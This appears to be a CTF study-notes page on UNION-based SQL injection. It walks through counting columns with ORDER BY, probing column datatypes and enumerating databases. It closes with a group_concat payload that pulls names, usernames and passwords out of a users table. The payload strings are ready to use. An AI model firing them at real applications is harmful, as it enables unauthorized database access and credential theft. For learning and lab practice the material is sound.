> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/misc/databases/sql-injection/union-based-injection.md).

# UNION-based Injection

## Prerequisites checklist

Prerequisites checklist for UNION-based injection exploitation:

1. Determine the number of columns in the query
2. Determine the datatypes of the columns
3. Determine the displayed column(s)

### Determine number of columns

Find the largest value of X where the addition of `ORDER BY X` doesn't result in an error.

* Start at something relatively large, such as 8 or 10, and use [binary search](https://en.wikipedia.org/wiki/Binary_search) to find X.
* If adding `'ORDER BY 10-- -` results in an error, try `'ORDER BY 5-- -`.
* If adding `'ORDER BY 5-- -` results in an error, try `'ORDER BY 3-- -` .
* If no error, increase to `'ORDER BY 8-- -`.
* Etc.&#x20;

### Determine datatypes of the column

The most common [data types](https://en.wikipedia.org/wiki/SQL#SQL_data_types) are: numbers (e.g. `INTEGER)` of character strings (e.g. `VARCHAR`).

Assuming 4 columns, try adding combinations of static values for each column and vary the types:

* `' UNION SELECT 'A', 'B', 'C', 'D'-- -`
* `' UNION SELECT 1, 'B', 'C', 'D'-- -`
* `' UNION SELECT 1, 2, 'C', 'D'-- -`
* `' UNION SELECT 'A', 'B', 3, 'D'-- -`
* `' UNION SELECT 1, 'B', 3, 'D'-- -`
* Etc.

### Determine displayed column(s)

Note from the output that doesn't result in errors from the queries above and you get which columns are displayed (and which aren't).

## Enumeration

1. Enumerate databases
2. Enumerate tables in the wanted database
3. Enumerate column in the wanted database and table

## Exfiltration

Use [group\_concat](https://mariadb.com/docs/server/reference/sql-functions/aggregate-functions/group_concat) to concatenate several values together. Example

```sql
' UNION SELECT 'A',group_concat(name,'@@',username,'@@',password),'C','D','D' FROM us
ers-- -
```

## Resources

SQL injection UNION attacks - PortSwigger: <https://portswigger.net/web-security/sql-injection/union-attacks>

SQL Injection Using UNION - SQLInjection.net: <https://www.sqlinjection.net/union/>

Union Based Injection - NetSPI: <https://sqlwiki.netspi.com/injectionTypes/unionBased/#mysql>
